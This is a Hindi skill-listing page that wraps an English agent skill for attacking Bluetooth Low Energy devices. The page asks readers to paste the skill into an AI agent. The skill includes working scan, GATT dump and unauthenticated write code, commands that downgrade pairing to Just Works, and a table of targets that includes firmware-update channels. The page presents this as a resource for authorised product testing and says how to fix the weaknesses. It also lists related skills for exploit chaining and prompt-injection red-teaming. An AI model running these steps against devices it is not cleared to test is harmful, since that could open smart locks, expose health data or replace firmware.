ble-gatt
यह क्या करती है
यह गाइड Bluetooth Low Energy डिवाइसों में ऐसी सेवाओं और कैरेक्टरिस्टिक की जाँच बताती है जिनमें प्रमाणीकरण या एन्क्रिप्शन नहीं है। यह उत्पाद टीमों और परीक्षकों के लिए है जो अपने डिवाइस जाँचते हैं।
कब इस्तेमाल करें
- ✓जब कोई उत्पाद टीम जानना चाहे कि उसके Bluetooth डिवाइस संवेदनशील सेटिंग सुरक्षित रखते हैं या नहीं।
- ✓जब अधिकृत जाँच में देखना हो कि पास का डिवाइस किसी भी जुड़े हुए डिवाइस को क्या दिखाता है।
- ✓जब अपडेट चैनल या डीबग सेवा Bluetooth पर खुली हो सकती हो।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमारा स्मार्ट लॉक Bluetooth इस्तेमाल करता है। क्या आप जाँच सकते हैं कि बिना प्रमाणीकरण के कोई संवेदनशील सेटिंग पढ़ी या बदली जा सकती है?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट विज्ञापन करने वाले डिवाइस खोजता है, अधिकृत जाँच में जुड़ता है, सेवाएँ और कैरेक्टरिस्टिक सूचीबद्ध करता है, और बताता है कि किन्हें सुरक्षा चाहिए।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
BLE GATT Enumeration and Exploitation
BLE devices routinely expose sensitive GATT characteristics without authentication or encryption. Common wins: OTA firmware update channels, PIN entry characteristics, device configuration, and health sensor data — all accessible to any central within radio range.
Prerequisites
- Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE, or the eval board of the target SoC itself).
- Tools:
bluez(>=5.62),gatttool,bluetoothctl,hcitool,python3 -m pip install bleak(cross-platform async BLE library). - Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle
- firmware) or Ubertooth One.
- Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS.
Phase 1: Passive Discovery
# Identify advertising devices and their advertised UUIDs without connecting.
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt
# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"
Using bleak for a structured scan:
import asyncio
from bleak import BleakScanner
async def scan():
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
print(f"{d.address} RSSI={d.rssi:4d} {d.name or '<anon>'} {list(d.metadata.get('uuids', []))}")
asyncio.run(scan())
Phase 2: Full GATT Enumeration (unauthenticated)
# Connect and dump all services/characteristics/descriptors.
# gatttool is deprecated but still widely available; use bleak for scripting.
gatttool -b <TARGET_MAC> -I
> connect
> primary # list services by UUID
> characteristics # list handles, properties, UUIDs
> char-desc # dump all descriptors
# Or with hcitool + gatttool one-liner:
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristics
Bleak full dump (preferred — handles BLE 5 extended):
import asyncio
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
async def dump_gatt():
async with BleakClient(TARGET) as client:
for svc in client.services:
print(f"\nService: {svc.uuid} ({svc.description})")
for char in svc.characteristics:
print(f" Char: {char.uuid} props={char.properties} handle=0x{char.handle:04x}")
if "read" in char.properties:
try:
val = await client.read_gatt_char(char.uuid)
print(f" Value: {val.hex()} ({val!r})")
except Exception as e:
print(f" Read error: {e}")
asyncio.run(dump_gatt())
Phase 3: Unauthenticated Write / Command Injection
# Write a raw value to a characteristic handle (gatttool).
# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100
# Write to a writable characteristic by UUID (bleak):
async def write_char(client, uuid, payload: bytes):
# Try write-with-response first; fall back to write-without-response.
props = client.services.get_characteristic(uuid).properties
if "write" in props:
await client.write_gatt_char(uuid, payload, response=True)
elif "write-without-response" in props:
await client.write_gatt_char(uuid, payload, response=False)
print(f"Wrote {payload.hex()} to {uuid}")
Common attack targets by characteristic UUID:
| UUID (16-bit) | Description | Attack |
|---|---|---|
| 0x2A19 | Battery Level | Read, establish baseline |
| 0x2A24 | Model Number | Info disclosure |
| 0x2A9D | Weight Scale | Sensor data w/o auth |
| Vendor 0xFF01-0xFF0F | OTA / DFU channel | Write firmware image |
| Vendor 0xFFF1 | Generic config | Write arbitrary config |
Phase 4: Pairing Downgrade — Just Works
Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade.
# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.
bluetoothctl
agent NoInputNoOutput
default-agent
scan on
pair <TARGET_MAC> # pairing will complete with no key confirmation
trust <TARGET_MAC>
connect <TARGET_MAC>
After pairing, re-run GATT dump — some characteristics become readable only after bonding even when using Just Works.
अक्सर पूछे जाने वाले सवाल
GATT क्या है?
यह वह ढांचा है जिसमें Bluetooth Low Energy डिवाइस अपना डेटा और सेटिंग व्यवस्थित करते हैं।
पेयरिंग डाउनग्रेड क्या है?
जब डिवाइस को कमजोर पेयरिंग तरीके में धकेला जाता है, और गाइड इसे एक जोखिम मानती है।
उत्पाद इसे कैसे ठीक करें?
संवेदनशील कैरेक्टरिस्टिक के लिए प्रमाणीकरण और एन्क्रिप्शन अनिवार्य करके।
जानकारी
लेखक का मूल विवरण
GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14095
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।